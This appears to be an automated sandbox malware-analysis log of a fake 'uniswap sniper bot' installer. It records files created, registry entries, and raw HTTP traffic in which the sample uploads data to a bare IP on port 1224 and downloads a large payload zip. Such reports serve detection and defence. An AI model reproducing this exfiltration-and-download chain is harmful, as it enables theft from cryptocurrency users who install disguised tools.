Source: uniswap-sniper-bot-with-gui Setup 1.0.0.exe |
Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE |
Source: C:\Users\user\Desktop\uniswap-sniper-bot-with-gui Setup 1.0.0.exe |
Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\deed1b2d-6a1c-5708-934a-7202254448da |
Jump to behavior |
Source: C:\Users\user\Desktop\uniswap-sniper-bot-with-gui Setup 1.0.0.exe |
File created: C:\Users\user\AppData\Local\Temp\nss40D.tmp\7z-out\LICENSE.electron.txt |
Jump to behavior |
Source: C:\Users\user\Desktop\uniswap-sniper-bot-with-gui Setup 1.0.0.exe |
File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\LICENSE.electron.txt |
Jump to behavior |
Source: uniswap-sniper-bot-with-gui Setup 1.0.0.exe |
Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE |
Source: |
Binary string: vulkan-1.dll.pdb source: uniswap-sniper-bot-with-gui Setup 1.0.0.exe, 00000000.00000003.1994272899.0000000005AE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui Setup 1.0.0.exe, 00000000.00000003.1989802067.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui Setup 1.0.0.exe, 00000000.00000003.1989983801.0000000005AA0000.00000004.00001000.00020000.00000000.sdmp |
Source: |
Binary string: electron.exe.pdb source: uniswap-sniper-bot-with-gui Setup 1.0.0.exe, 00000000.00000003.1999889491.0000000006EB9000.00000004.00001000.00020000.00000000.sdmp |
Source: |
Binary string: libGLESv2.dll.pdb source: uniswap-sniper-bot-with-gui Setup 1.0.0.exe, 00000000.00000003.1903256672.0000000006020000.00000004.00001000.00020000.00000000.sdmp |
Source: |
Binary string: vk_swiftshader.dll.pdb source: uniswap-sniper-bot-with-gui Setup 1.0.0.exe, 00000000.00000003.1994272899.0000000005E58000.00000004.00001000.00020000.00000000.sdmp |
Source: C:\Users\user\Desktop\uniswap-sniper-bot-with-gui Setup 1.0.0.exe |
File opened: C:\Users\user\AppData\Local\Temp\nss40D.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil |
Jump to behavior |
Source: C:\Users\user\Desktop\uniswap-sniper-bot-with-gui Setup 1.0.0.exe |
File opened: C:\Users\user\AppData\Local\Temp\nss40D.tmp\7z-out\resources\app.asar.unpacked |
Jump to behavior |
Source: C:\Users\user\Desktop\uniswap-sniper-bot-with-gui Setup 1.0.0.exe |
File opened: C:\Users\user\AppData\Local\Temp\nss40D.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil\prebuilds |
Jump to behavior |
Source: C:\Users\user\Desktop\uniswap-sniper-bot-with-gui Setup 1.0.0.exe |
File opened: C:\Users\user\AppData\Local\Temp\nss40D.tmp\7z-out\resources |
Jump to behavior |
Source: C:\Users\user\Desktop\uniswap-sniper-bot-with-gui Setup 1.0.0.exe |
File opened: C:\Users\user\AppData\Local\Temp\nss40D.tmp\7z-out\resources\app.asar.unpacked\node_modules |
Jump to behavior |
Source: C:\Users\user\Desktop\uniswap-sniper-bot-with-gui Setup 1.0.0.exe |
File opened: C:\Users\user\AppData\Local\Temp\nss40D.tmp\7z-out\locales |
Jump to behavior |
Source: unknown |
Network traffic detected: HTTP traffic on port 49739 -> 1224 |
Source: unknown |
Network traffic detected: HTTP traffic on port 49740 -> 1224 |
Source: unknown |
Network traffic detected: HTTP traffic on port 1224 -> 49739 |
Source: unknown |
Network traffic detected: HTTP traffic on port 1224 -> 49740 |
Source: unknown |
Network traffic detected: HTTP traffic on port 50016 -> 1224 |
Source: unknown |
Network traffic detected: HTTP traffic on port 1224 -> 50016 |
Source: unknown |
Network traffic detected: HTTP traffic on port 50018 -> 1224 |
Source: unknown |
Network traffic detected: HTTP traffic on port 1224 -> 50018 |
Source: unknown |
Network traffic detected: HTTP traffic on port 50019 -> 1224 |
Source: unknown |
Network traffic detected: HTTP traffic on port 1224 -> 50019 |
Source: unknown |
Network traffic detected: HTTP traffic on port 50022 -> 1224 |
Source: unknown |
Network traffic detected: HTTP traffic on port 1224 -> 50022 |
Source: unknown |
Network traffic detected: HTTP traffic on port 50026 -> 1224 |
Source: unknown |
Network traffic detected: HTTP traffic on port 1224 -> 50026 |
Source: global traffic |
TCP traffic: 192.168.2.4:49739 -> 86.104.74.51:1224 |
Source: global traffic |
HTTP traffic detected: POST /uploads HTTP/1.1host: 86.104.74.51:1224content-type: multipart/form-data; boundary=--------------------------638837609524654576768723content-length: 108326Connection: closeData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 33 38 38 33 37 36 30 39 35 32 34 36 35 34 35 37 36 37 36 38 37 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 79 70 65 22 0d 0a 0d 0a 37 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 33 38 38 33 37 36 30 39 35 32 34 36 35 34 35 37 36 37 36 38 37 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 69 64 22 0d 0a 0d 0a 37 30 32 5f 38 31 33 38 34 38 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 33 38 38 33 37 36 30 39 35 32 34 36 35 34 35 37 36 37 36 38 37 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 74 73 22 0d 0a 0d 0a 31 37 33 32 35 35 37 39 30 39 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 33 38 38 33 37 36 30 39 35 32 34 36 35 34 35 37 36 37 36 38 37 32 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 75 6c 74 69 5f 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 30 5f 6c 73 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a Data Ascii: ----------------------------638837609524654576768723Content-Disposition: form-data; name="type"7----------------------------638837609524654576768723Content-Disposition: form-data; name="hid"702_813848----------------------------638837609524654576768723Content-Disposition: form-data; name="uts"1732557909----------------------------638837609524654576768723Content-Disposition: form-data; name="multi_file"; filename="0_lst"Content-Type: application/octet-stream |
Source: global traffic |
HTTP traffic detected: GET /client/7/702 HTTP/1.1host: 86.104.74.51:1224Connection: close |
Source: Joe Sandbox View |
IP Address: 104.17.24.14 104.17.24.14 |
Source: Joe Sandbox View |
IP Address: 162.159.61.3 162.159.61.3 |
Source: Joe Sandbox View |
IP Address: 208.95.112.1 208.95.112.1 |
Source: unknown |
DNS query: name: ip-api.com |
Source: global traffic |
HTTP traffic detected: GET /ajax/libs/materialize/1.0.0/css/materialize.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="102"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) uniswap-sniper-bot-with-gui/1.0.0 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-GB |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 86.104.74.51 |
Source: global traffic |
HTTP traffic detected: HTTP/1.1 200 OKX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Disposition: attachment; filename="p.zip"Accept-Ranges: bytesCache-Control: public, max-age=0Last-Modified: Wed, 13 Sep 2023 07:44:46 GMTETag: W/"3117874-18a8d7fee11"Content-Type: application/zipContent-Length: 51476596Date: Mon, 25 Nov 2024 18:05:12 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 50 4b 03 04 0a 00 00 00 00 00 24 80 d0 56 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 2e 70 79 70 2f 50 4b 03 04 0a 00 00 00 00 00 18 80 d0 56 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00 00 2e 70 79 70 2f 44 4c 4c 73 2f 50 4b 03 04 14 00 00 00 08 00 4f a1 86 55 75 bb 04 c8 68 22 14 00 60 83 34 00 1b 00 00 00 2e 70 79 70 2f 44 4c 4c 73 2f 6c 69 62 63 72 79 70 74 6f 2d 31 5f 31 2e 64 6c 6c ec bd 05 58 d5 4b d7 f7 bf 15 1b 75 63 8b 89 b2 55 6c 74 1b d8 62 c2 11 bb 1b bb 50 0c 54 8e dd b5 45 3d b6 1e bb bb 3b 41 c1 ee 0e 40 6c b1 c0 c6 7e bf 9f 0d 18 e7 7e ee e7 7f 3f ef f5 af f7 ba f6 ef ba fc 31 bf 3d 33 6b d6 5a 33 b3 66 cd 5a 6b c6 da 2d a6 19 ec 0c 06 43 22 fd fb fe dd 60 d8 63 88 7d 2a 1b fe af 1f 87 04 06 43 ea 9c fb 52 1b 76 24 3f 9b 6b 4f 02 af b3 b9 1a 75 ed d6 cf a9 77 5f df 2e 7d db f5 74 ea d0 ae 57 2f 5f 3f a7 f6 9d 9c fa f6 ef e5 d4 ad 97 53 b5 ba 0d 9d 7a fa 76 ec 54 24 55 aa 14 a6 38 18 b7 df dd 6d b7 78 e6 d4 e2 f1 ff 66 3f cf 56 3c 40 7f bf bf 9c 62 5e 68 fd 3b c9 3c c3 fa d7 62 9e 63 fd 3b d9 fc b7 b5 ec 94 e2 06 fd f5 7a 34 c5 3c 53 7f 3f eb f7 51 d6 bf 16 f3 a3 d9 fc 9d 6a 5e 64 fd ee 5d 3c f6 6f 80 f5 bb 41 b7 0e 5d 69 e7 df d1 54 af ba c1 d0 71 5c 32 43 cf 45 df da c7 ff 16 6d c8 ed 64 9f 30 b5 93 e1 82 b0 be 66 b4 fe b6 36 0d 0c b0 26 47 24 30 c4 a5 13 1a 0c 49 ac 3f fd fc 6b 88 2e 61 65 ee a8 a2 25 95 ed 9d 20 be 52 fc 9f 7f fd 8e 4b 76 2d 6a c8 d8 35 a1 21 a2 40 09 43 65 1a f0 2e 61 18 02 50 ef e2 86 e8 59 fa a1 45 09 83 77 7e 7d f7 2e 61 08 ae 6b 30 44 44 14 32 b8 19 fe fd e3 7d a7 50 2c 9c f8 c7 a9 84 21 22 c5 bf 2f 5f c4 af 93 bf 9f fe ce 3c 67 8a 45 08 da 13 fd 5e c6 49 60 8b f4 ed d8 ce af 9d c1 90 31 3a a5 90 50 99 d7 fa 7b c5 14 5b e0 e7 58 aa 5c 24 b6 98 21 d7 20 bd 22 8a 19 0c 85 f4 f7 58 b1 7f 96 0b 2c d2 3b b6 e0 8e c3 09 ac b4 1a 02 f5 f7 f5 bf 94 ab 5c a4 5b 6c b9 36 ce b1 b4 18 68 72 9b f9 5f cb b9 ba 76 e8 dc c5 60 e8 0f ed f5 4a 58 fb c8 70 ed bf 28 d7 b7 5f df 0e 06 43 1c 8f 55 2e 99 fe de f8 af ca 75 f2 f1 55 c1 77 fe b1 bc 37 58 e9 f9 97 72 55 0c ff 87 3c 67 78 22 77 dd 4f 61 88 bc 5b d3 |